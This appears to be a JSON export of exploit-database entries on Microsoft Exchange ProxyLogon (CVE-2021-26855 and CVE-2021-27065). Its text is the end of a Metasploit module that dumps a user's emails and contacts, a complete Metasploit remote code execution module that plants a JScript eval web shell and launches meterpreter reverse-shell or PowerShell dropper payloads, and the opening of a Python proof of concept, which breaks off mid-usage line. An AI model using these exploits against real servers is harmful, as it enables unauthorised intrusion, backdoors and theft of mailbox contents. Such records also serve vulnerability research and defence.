dump']),\n OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),\n OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])\n ])\n\n register_advanced_options([\n OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])\n ])\n end\n\n XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze\n\n def grab_contacts\n response = send_xml(soap_findcontacts)\n xml = Nokogiri::XML.parse(response.body)\n\n data = xml.xpath('//t:Contact', XMLNS)\n if data.empty?\n print_status(' - the user has no contacts')\n else\n write_loot(data.to_s)\n end\n end\n\n def grab_emails(total_count)\n # get the emails list of the target folder.\n response = send_xml(soap_maillist(total_count))\n xml = Nokogiri::XML.parse(response.body)\n\n # iteration to download the emails.\n xml.xpath('//t:ItemId', XMLNS).each do |item|\n print_status(\" - download item: #{item.values[1]}\")\n response = send_xml(soap_download(item.values[0], item.values[1]))\n xml = Nokogiri::XML.parse(response.body)\n\n message = xml.at_xpath('//t:MimeContent', XMLNS).content\n write_loot(Rex::Text.decode_base64(message))\n end\n end\n\n def send_xml(data)\n uri = normalize_uri('ecp', 'temp.js')\n\n received = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => \"X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;\",\n 'ctype' => 'text/xml; charset=utf-8',\n 'data' => data\n )\n fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_download(id, change_key)\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetItem>\n <m:ItemShape>\n <t:BaseShape>IdOnly</t:BaseShape>\n <t:IncludeMimeContent>true</t:IncludeMimeContent>\n </m:ItemShape>\n <m:ItemIds>\n <t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" />\n </m:ItemIds>\n </m:GetItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_findcontacts\n <<~SOAP\n <?xml version='1.0' encoding='utf-8'?>\n <soap:Envelope\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n <soap:Body>\n <m:FindItem Traversal='Shallow'>\n <m:ItemShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:ItemShape>\n <m:IndexedPageItemView MaxEntriesReturned=\"#{datastore['MaxEntries']}\" Offset=\"0\" BasePoint=\"Beginning\" />\n <m:ParentFolderIds>\n <t:DistinguishedFolderId Id='contacts'>\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:ParentFolderIds>\n </m:FindItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_mailnum\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>Default</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"#{datastore['FOLDER']}\">\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_maillist(max_entries)\n <<~SOAP\n <?xml version='1.0' encoding='utf-8'?>\n <soap:Envelope\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n <soap:Body>\n <m:FindItem Traversal='Shallow'>\n <m:ItemShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:ItemShape>\n <m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" />\n <m:ParentFolderIds>\n <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:ParentFolderIds>\n </m:FindItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def write_loot(data)\n loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')\n print_good(\" - file saved to #{loot_path}\")\n end\n\n def run\n # get the informations about the targeted user account.\n response = send_xml(soap_mailnum)\n if response.body =~ /Success/\n print_status('Connection to the server is successful')\n print_status(\" - selected account: #{datastore['EMAIL']}\\n\")\n\n # grab contacts.\n print_status('Attempt to dump contacts list for this user')\n grab_contacts\n\n print_line\n\n # grab emails.\n print_status('Attempt to dump emails for this user')\n xml = Nokogiri::XML.parse(response.body)\n folder_id = xml.at_xpath('//t:FolderId', XMLNS).values\n print_status(\" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})\")\n\n total_count = xml.at_xpath('//t:TotalCount', XMLNS).content\n print_status(\" - number of email found: #{total_count}\")\n\n if total_count.to_i > datastore['MaxEntries']\n print_warning(\" - number of email recaluled due to max entries: #{datastore['MaxEntries']}\")\n total_count = datastore['MaxEntries'].to_s\n end\n grab_emails(total_count)\n end\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36281", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-30T08:02:52", "description": "This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 Versions less than 15.00.1497.012, Exchange 2016 CU18 less than 15.01.2106.013, Exchange 2016 CU19 less than 15.01.2176.009, Exchange 2019 CU7 less than 15.02.0721.013, and Exchange 2019 CU8 less than 15.02.0792.010. All components are vulnerable by default.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-23T00:00:00", "type": "zdt", "title": "Microsoft Exchange ProxyLogon Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-23T00:00:00", "id": "1337DAY-ID-36024", "href": "https://0day.today/exploit/description/36024", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::CheckModule\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication, impersonating as the\n admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)\n 'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)\n 'print(\"\")', # https://www.o2oxy.cn/3169.html\n 'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['CVE', '2021-27065'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'http://aka.ms/exchangevulns'],\n ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],\n [\n 'URL',\n 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'\n ],\n ['URL', 'https://www.o2oxy.cn/3169.html'],\n ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',\n 'HttpClientTimeout' => 60,\n 'RPORT' => 443,\n 'SSL' => true,\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])\n ])\n\n register_advanced_options([\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])\n ])\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def execute_command(cmd, _opts = {})\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @random_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@random_inputname}=#{cmd}\"\n )\n end\n\n def install_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n input_name = rand_text_alpha(4..8).to_s\n shell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\"\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n ExternalUrl: shell.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n input_name\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def patch_sid(sid)\n ar = sid.to_s.split('-')\n if ar[-1] != '500'\n sid = \"#{ar[0..6].join('-')}-500\"\n end\n\n sid\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def random_ssrf_id\n # https://en.wikipedia.org/wiki/2,147,483,647 (lol)\n # max. 2147483647\n rand(1941962752..2147483647)\n end\n\n def request_autodiscover(server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n \"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\",\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n [server, legacy_dn]\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(server_name, legacy_dn, server_id)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response.code == 200\n sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/\n\n sid = response.body.match(sid_regex).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def request_oab(server_name, sid, session, canary)\n data = {\n filter: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n SelectedView: '',\n SelectedVDirType: 'OAB'\n }\n },\n sort: {}\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: session,\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n\n if response.code == 200\n data = JSON.parse(response.body)\n data['d']['Output'].each do |oab|\n if oab['Server'].downcase == server_name.downcase\n return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]\n end\n end\n end\n\n []\n end\n\n def request_proxylogon(server_name, sid)\n data = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\"\n session_id = ''\n canary = ''\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'text/xml; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n if response.code == 241\n session_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\n canary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ...\n end\n\n [session_id, canary]\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end\n\n # post-auth arbitrary file write.\n def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Prepare the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Write the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 200)\n break\n end\n\n print_warning(\"Wait a lot (#{i})\")\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end\n\n def search_oab(server_name, sid)\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n\n print_status('Try to get a good msExchCanary (by patching user SID method)')\n session_id, canary = request_proxylogon(server_name, patch_sid(sid))\n if canary\n session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, session, canary)\n end\n\n if oab_id.nil? || oab_id.empty?\n print_status('Try to get a good msExchCanary (without correcting the user SID)')\n session_id, canary = request_proxylogon(server_name, sid)\n if canary\n session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, session, canary)\n end\n end\n\n fail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty?\n fail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty?\n fail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty?\n\n print_status(\"ASP.NET_SessionId: #{session_id}\")\n print_status(\"msExchEcpCanary: #{canary}\")\n print_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n return [sid, session, canary, oab_id]\n end\n\n def send_http(method, ssrf, opts = {})\n ssrf = \"X-BEResource=#{ssrf};\"\n if opts[:cookie] && !opts[:cookie].empty?\n opts[:cookie] = \"#{ssrf} #{opts[:cookie]}\"\n else\n opts[:cookie] = ssrf.to_s\n end\n\n opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?\n\n request = {\n 'method' => method,\n 'uri' => @random_uri,\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype]\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL']}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n web_dir = datastore['IISWritePath'].gsub('\\\\', '/')\n else\n web_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n web_dir\n end\n\n def write_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n remote_file = \"#{rand_text_alpha(4..8)}.aspx\"\n if datastore['UseAlternatePath']\n remote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n else\n remote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n end\n\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n FilePathName: remote_path.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n remote_file\n end\n\n def exploit\n @proto = (ssl ? 'https' : 'http')\n @random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\")\n\n print_status(message('Attempt to exploit for CVE-2021-26855'))\n exploit_info = run_cve_2021_26855\n\n print_status(message('Attempt to exploit for CVE-2021-27065'))\n shell_info = run_cve_2021_27065(exploit_info)\n\n @random_inputname = shell_info[0]\n @random_filename = shell_info[1]\n\n print_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\")\n if datastore['UseAlternatePath']\n remote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\"\n else\n remote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\"\n end\n register_files_for_cleanup(remote_file)\n\n # trigger powa!\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n response = execute_command(\"cmd /c #{payload.encoded}\")\n\n print_warning('Dumping command output in response')\n output = response.body.split('Name :')[0]\n if output.empty?\n print_error('Empty response, no command output')\n return\n end\n print_line(output)\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36024", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-22T06:55:42", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-11T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-03-11T00:00:00", "id": "1337DAY-ID-35944", "href": "https://0day.today/exploit/description/35944", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)\r\n# Date: 2021-03-10\r\n# Exploit Author: testanull\r\n# Vendor Homepage: https://www.microsoft.com\r\n# Version: MS Exchange Server 2013, 2016, 2019\r\n# CVE: 2021-26855, 2021-27065\r\n\r\nimport requests\r\nfrom urllib3.exceptions import InsecureRequestWarning\r\nimport random\r\nimport string\r\nimport sys\r\n\r\n\r\ndef id_generator(size=6, chars=string.ascii_lowercase + string.digits):\r\n return ''.join(random.choice(chars) for _ in range(size))\r\n\r\nif len(sys.argv) < 2:\r\n\tprint(\"Usage: python PoC.py <target> <email>\")\r\n\tprint(\"Example: python PoC.py mail.evil.corp 